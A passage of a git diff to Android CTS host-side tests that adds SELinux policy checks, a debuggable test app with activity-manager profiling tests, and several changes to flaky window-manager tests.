                 devicePolicyFile.getAbsolutePath(),
-                devicePlatFcFile.getAbsolutePath());
+                combinedFcFile.getAbsolutePath());
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
@@ -618,6 +655,67 @@
                    + errorString, errorString.length() == 0);
     }
 
+    private boolean isMac() {
+        String os = System.getProperty("os.name").toLowerCase();
+        return (os.startsWith("mac") || os.startsWith("darwin"));
+    }
+
+    private void setupLibraries() throws Exception {
+        // The host side binary tests are host OS specific. Use Linux
+        // libraries on Linux and Mac libraries on Mac.
+        if (isMac()) {
+            libsepolwrap = copyResourceToTempFile("/libsepolwrap.dylib");
+            libcpp = copyResourceToTempFile("/libc++.dylib");
+            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib"));
+        } else {
+            libsepolwrap = copyResourceToTempFile("/libsepolwrap.so");
+            libcpp = copyResourceToTempFile("/libc++.so");
+            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.so"));
+        }
+        libsepolwrap.deleteOnExit();
+        libcpp.deleteOnExit();
+    }
+
+    private void assertSepolicyTests(String Test) throws Exception {
+        setupLibraries();
+        sepolicyTests = copyResourceToTempFile("/sepolicy_tests");
+        sepolicyTests.setExecutable(true);
+        ProcessBuilder pb = new ProcessBuilder(
+                sepolicyTests.getAbsolutePath(),
+                "-l", libsepolwrap.getAbsolutePath(),
+                "-f", devicePlatFcFile.getAbsolutePath(),
+                "-f", deviceNonplatFcFile.getAbsolutePath(),
+                "-p", devicePolicyFile.getAbsolutePath(),
+                "--test", Test);
+        Map<String, String> env = pb.environment();
+        if (isMac()) {
+            env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
+        } else {
+            env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
+        }
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue(errorString.toString(), errorString.length() == 0);
+    }
+
+    /**
+     * Tests that all types on /data have the data_file_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testDataTypeViolators() throws Exception {
+        assertSepolicyTests("TestDataTypeViolations");
+    }
+
    /**
      * Tests that the policy defines no booleans (runtime conditional policy).
      *
@@ -785,24 +883,37 @@
                 assertTrue(msg, execList.contains(p.procTitle));
             }
         }
+    }
 
-        for (String exe : executables) {
-            List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(exe);
+    /**
+     * Asserts that an executable exists and is only running in the listed domains.
+     *
+     * @param executable
+     *  The path of the executable to check.
+     * @param domains
+     *  The list of allowed domains.
+     */
+    private void assertExecutableHasDomain(String executable, String... domains)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
+        Set<String> domainList = new HashSet<String>(Arrays.asList(domains));
 
-            if (exeProcs != null) {
-                for (ProcessDetails p : exeProcs) {
-                    String msg = "Expected executable \"" + exe + "\" in SELinux domain \""
-                        + domain + "\"" + " Found: \"" + p + "\"";
-                    assertEquals(msg, domain, p.label);
-                }
-            }
+        String msg = "Expected 1 or more processes for executable \"" + executable + "\".";
+        assertNotNull(msg, exeProcs);
+
+        for (ProcessDetails p : exeProcs) {
+            msg = "Expected one of  \"" + domainList + "\" for executable \"" + executable
+                    + "\"" + " Found: \"" + p.label + "\"";
+            assertTrue(msg, domainList.contains(p.label));
         }
     }
 
     /* Init is always there */
     @CddTest(requirement="9.7")
     public void testInitDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:init:s0", "/init");
+        assertDomainHasExecutable("u:r:init:s0", "/init");
+        assertDomainHasExecutable("u:r:vendor_init:s0", "/init");
+        assertExecutableHasDomain("/init", "u:r:init:s0", "u:r:vendor_init:s0");
     }
 
     /* Ueventd is always there */
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
index 3a50232..6ca5278 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.server
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
index 9e394951..7a188d3 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
@@ -20,11 +20,12 @@
         <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
+        <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
         <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
         <option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsServicesHostTestCases.jar" />
-        <option name="runtime-hint" value="4m7s" />
+        <option name="runtime-hint" value="4m44s" />
     </test>
 </configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
index 2633c0a..9a5dcbc 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceServicesTestApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
index f7580e7..c31aec8 100755
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
@@ -242,10 +242,7 @@
                   android:exported="true"
                   android:theme="@style/TranslucentTheme"
         />
-        <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
-             animation background being tested is not used in translucent activities. -->
         <activity android:name=".AnimationTestActivity"
-                  android:theme="@style/OpaqueTheme"
                   android:exported="true"
         />
         <activity android:name=".VirtualDisplayActivity"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
index 6e2a820..5068ea9 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
@@ -37,11 +37,6 @@
         <item name="android:windowIsTranslucent">true</item>
         <item name="android:windowDisablePreview">true</item>
     </style>
-    <style name="OpaqueTheme">
-        <item name="android:windowIsTranslucent">false</item>
-        <item name="android:windowSwipeToDismiss">false</item>
-        <item name="android:windowIsFloating">false</item>
-    </style>
     <style name="NoPreview">
         <item name="android:windowDisablePreview">true</item>
     </style>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
new file mode 100644
index 0000000..fa381fb
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDeviceDebuggableApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
new file mode 100644
index 0000000..c00f2b6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.cts.debuggable">
+
+    <!--
+     * Security policy requires that only debuggable processes can be profiled
+     * which is tested by ActivityManagerAmProfileTests.
+     -->
+    <application android:debuggable="true">
+        <activity android:name=".DebuggableAppActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
new file mode 100644
index 0000000..504ffcf
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.debuggable;
+
+import android.app.Activity;
+
+public class DebuggableAppActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
index 7f7abd2..95af843 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceDisplaySizeApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
index b591589..109279f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceServicesTestSecondApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
index 4e71662..73304b4 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceServicesTestThirdApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
new file mode 100644
index 0000000..f462c60
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.google.common.io.Files;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.util.FileUtil;
+
+import java.io.File;
+import java.lang.StringBuilder;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmProfileTests
+ *
+ * Please talk to Android Studio team first if you want to modify or delete these tests.
+ */
+public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
+
+    private static final String TEST_PACKAGE_NAME = "android.server.cts.debuggable";
+    private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
+    private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
+    private static final String FIRST_WORD_NO_STREAMING = "*version\n";
+    private static final String FIRST_WORD_STREAMING = "SLOW";  // Magic word set by runtime.
+
+    private ITestDevice mDevice;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevice = getDevice();
+        setComponentName(TEST_PACKAGE_NAME);
+    }
+
+    /**
+     * Test am profile functionality with the following 3 configurable options:
+     *    starting the activity before start profiling? yes;
+     *    sampling-based profiling? no;
+     *    using streaming output mode? no.
+     */
+    public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
+        // am profile start ... , and the same to the following 3 test methods.
+        testProfile(true, false, false);
+    }
+
+    /**
+     * The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
+     * only different in the three configuration options.
+     */
+    public void testAmProfileStartNoSamplingStreaming() throws Exception {
+        testProfile(true, false, true);
+    }
+    public void testAmProfileStartSamplingNoStreaming() throws Exception {
+        testProfile(true, true, false);
+    }
+    public void testAmProfileStartSamplingStreaming() throws Exception {
+        testProfile(true, true, true);
+    }
+    public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
+        // am start --start-profiler ..., and the same to the following 3 test methods.
+        testProfile(false, false, false);
+    }
+    public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
+        testProfile(false, false, true);
+    }
+    public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
+        testProfile(false, true, false);
+    }
+    public void testAmStartStartProfilerSamplingStreaming() throws Exception {
+        testProfile(false, true, true);
+    }
+
+    private void testProfile(boolean startActivityFirst,
+                             boolean sampling, boolean streaming) throws Exception {
+        if (startActivityFirst) {
+            launchActivity(TEST_ACTIVITY_NAME);
+        }
+
+        String cmd = getStartCmd(TEST_ACTIVITY_NAME, startActivityFirst, sampling, streaming);
+        executeShellCommand(cmd);
+        // Go to home screen and then warm start the activity to generate some interesting trace.
+        pressHomeButton();
+        launchActivity(TEST_ACTIVITY_NAME);
+
+        cmd = "am profile stop " + componentName;
+        executeShellCommand(cmd);
+        // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+        // file is complete.
+        try {
+            Thread.sleep(100);
+        } catch (InterruptedException e) {
+            //ignored
+        }
+        verifyOutputFileFormat(streaming);
+    }
+
+    private String getStartCmd(String activityName, boolean activityAlreadyStarted,
+                                        boolean sampling, boolean streaming) {
+        StringBuilder builder = new StringBuilder("am");
+        if (activityAlreadyStarted) {
+            builder.append(" profile start");
+        } else {
+            builder.append(String.format(" start -n %s/.%s -W -S --start-profiler %s",
+                                         componentName, activityName, OUTPUT_FILE_PATH));
+        }
+        if (sampling) {
+            builder.append(" --sampling 1000");
+        }
+        if (streaming) {
+            builder.append(" --streaming");
+        }
+        if (activityAlreadyStarted) {
+            builder.append(String.format(" %s %s", componentName, OUTPUT_FILE_PATH));
+        } else {
+
+        }
+        return builder.toString();
+    }
+
+    private void verifyOutputFileFormat(boolean streaming) throws Exception {
+        String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
+        byte[] data = readFileOnClient(OUTPUT_FILE_PATH);
+        assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
+        String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+        assertTrue("Unexpected first word: '" + actualFirstWord + "'",
+                   actualFirstWord.equals(expectedFirstWord));
+        // Clean up.
+        executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
+    }
+
+    private byte[] readFileOnClient(String clientPath) throws Exception {
+        assertTrue("File not found on client: " + clientPath,
+                mDevice.doesFileExist(clientPath));
+        File copyOnHost = File.createTempFile("host", "copy");
+        try {
+            executeAdbCommand("pull", clientPath, copyOnHost.getPath());
+            return Files.toByteArray(copyOnHost);
+        } finally {
+            FileUtil.deleteFile(copyOnHost);
+        }
+    }
+
+    private String[] executeAdbCommand(String... command) throws DeviceNotAvailableException {
+        String output = mDevice.executeAdbCommand(command);
+        // "".split() returns { "" }, but we want an empty array
+        String[] lines = output.equals("") ? new String[0] : output.split("\n");
+        return lines;
+    }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index 075e09c..d24fbdb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -27,7 +27,6 @@
 import java.util.List;
 
 import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
 
 /**
  * Build: mmma -j32 cts/hostsidetests/services
@@ -49,7 +48,6 @@
 
     private static final int SMALL_WIDTH_DP = 426;
     private static final int SMALL_HEIGHT_DP = 320;
-    private static final int NAVI_BAR_HEIGHT_DP = 48;
 
     /**
      * Tests that the WindowManager#getDefaultDisplay() and the Configuration of the Activity
@@ -83,7 +81,7 @@
      * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
      * from docked state to fullscreen (reverse).
      */
-    @Presubmit
+    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
     public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
@@ -107,10 +105,6 @@
      * Tests whether the Display sizes change when rotating the device.
      */
     public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
-        if (!supportsRotation()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
-            return;
-        }
         setDeviceRotation(0);
         final String logSeparator = clearLogcat();
         launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
@@ -124,7 +118,7 @@
      * Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
      * is in the docked stack.
      */
-    @Presubmit
+    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
     public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
@@ -160,6 +154,7 @@
 
         final String logSeparator = clearLogcat();
         launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
         getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
                 .execute();
         final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
@@ -274,11 +269,6 @@
      */
     @Presubmit
     public void testDialogWhenLargeSplitSmall() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
         launchActivityInStack(DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
         final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
                 .getStackById(DOCKED_STACK_ID);
@@ -486,39 +476,10 @@
     }
 
     /**
-     * If aspect ratio larger than 2.0, and system insets less than default system insets height
-     * (from nav bar),it won't meet CTS testcase requirement, so we treat these scenario specially
-     * and do not check the rotation.
-     */
-    private boolean shouldSkipRotationCheck() throws Exception{
-        WindowManagerState wmState = mAmWmState.getWmState();
-        wmState.computeState(mDevice);
-        WindowManagerState.Display display = wmState.getDisplay(DEFAULT_DISPLAY_ID);
-        Rectangle displayRect = display.getDisplayRect();
-        Rectangle appRect = display.getAppRect();
-
-        float aspectRatio = 0.0f;
-        int naviBarHeight;
-        if (wmState.getRotation() == 0 || wmState.getRotation() == 2) {
-            aspectRatio = (float) displayRect.height / displayRect.width;
-            naviBarHeight = displayRect.height - appRect.height;
-        } else {
-            aspectRatio = (float) displayRect.width / displayRect.height;
-            naviBarHeight = displayRect.width - appRect.width;
-        }
-
-        int density = display.getDpi();
-        int systemInsetsHeight = dpToPx(NAVI_BAR_HEIGHT_DP, density);
-        // After changed rotation the dispalySize will be effected by aspect ratio and system UI
-        // insets (from nav bar) together, so we should check if needed to skip testcase
-        return aspectRatio >= 2.0 && naviBarHeight < systemInsetsHeight;
-    }
-
-    /**
      * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
      * have flipped.
      */
-    private void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
+    private static void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
             throws Exception {
         assertEquals(rotationA.displayWidth, rotationA.metricsWidth);
         assertEquals(rotationA.displayHeight, rotationA.metricsHeight);
@@ -529,17 +490,12 @@
         final boolean afterPortrait = rotationB.displayWidth < rotationB.displayHeight;
         assertFalse(beforePortrait == afterPortrait);
 
-        // When rotation is land, displayHeight calculated base on N does not contain
-        // statusBarHeight, while displayHeight calculated base on O version contains
-        // statusBarHeight. Therefore starting with O we don't check config rotation and
-        // smallestWidth on some devices with tall aspect ratio.
-        if (!shouldSkipRotationCheck()) {
-            final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
-            final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
-            assertEquals(beforePortrait, beforeConfigPortrait);
-            assertEquals(afterPortrait, afterConfigPortrait);
-            assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
-        }
+        final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
+        final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
+        assertEquals(beforePortrait, beforeConfigPortrait);
+        assertEquals(afterPortrait, afterConfigPortrait);
+
+        assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
     }
 
     /**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
index ad45a9c..3ada785 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
@@ -991,7 +991,7 @@
     /**
      * Test that all activities that were on the private display are destroyed on display removal.
      */
-    @Presubmit
+    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
     public void testContentDestroyOnDisplayRemoved() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
index 5a49af7..cf3540c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
@@ -21,6 +21,8 @@
 
 import java.awt.Rectangle;
 
+import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
 /**
  * Build: mmma -j32 cts/hostsidetests/services
  * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDockedStackTests
@@ -409,6 +411,37 @@
         mAmWmState.computeState(mDevice, waitForActivitiesVisible);
     }
 
+    public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
+            return;
+        }
+
+        // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
+        // going home has the correct app transition
+        for (int i = 0; i < 4; i++) {
+            setDeviceRotation(i);
+            launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
+            assertDockMinimized();
+
+            // Unminimize the docked stack
+            pressAppSwitchButton();
+            waitForDockNotMinimized();
+            assertDockNotMinimized();
+
+            // Dismiss the dock stack
+            launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+            moveActivityToStack(DOCKED_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+            mAmWmState.computeState(mDevice, new String[]{DOCKED_ACTIVITY_NAME});
+
+            // Go home and check the app transition
+            assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+            pressHomeButton();
+            mAmWmState.computeState(mDevice, null);
+            assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+        }
+    }
+
     public void testFinishDockActivityWhileMinimized() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index bdf46cf..8e960d0 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -768,12 +768,14 @@
         executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
         mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
         assertPinnedStackExists();
+        waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
         assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
 
         // Trigger it to go back to fullscreen and ensure that only triggered one configuration
         // change as well
         logSeparator = clearLogcat();
         launchActivity(PIP_ACTIVITY);
+        waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
         assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
     }
 
@@ -1015,8 +1017,6 @@
 
     /** Test that reported display size corresponds to fullscreen after exiting PiP. */
     public void testDisplayMetricsPinUnpin() throws Exception {
-        if (!supportsPip()) return;
-
         String logSeparator = clearLogcat();
         launchActivity(TEST_ACTIVITY);
         final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
@@ -1187,6 +1187,24 @@
     }
 
     /**
+     * Waits until the expected picture-in-picture callbacks have been made.
+     */
+    private void waitForValidPictureInPictureCallbacks(String activityName, String logSeparator)
+            throws Exception {
+        mAmWmState.waitFor(mDevice, (amState, wmState) -> {
+            try {
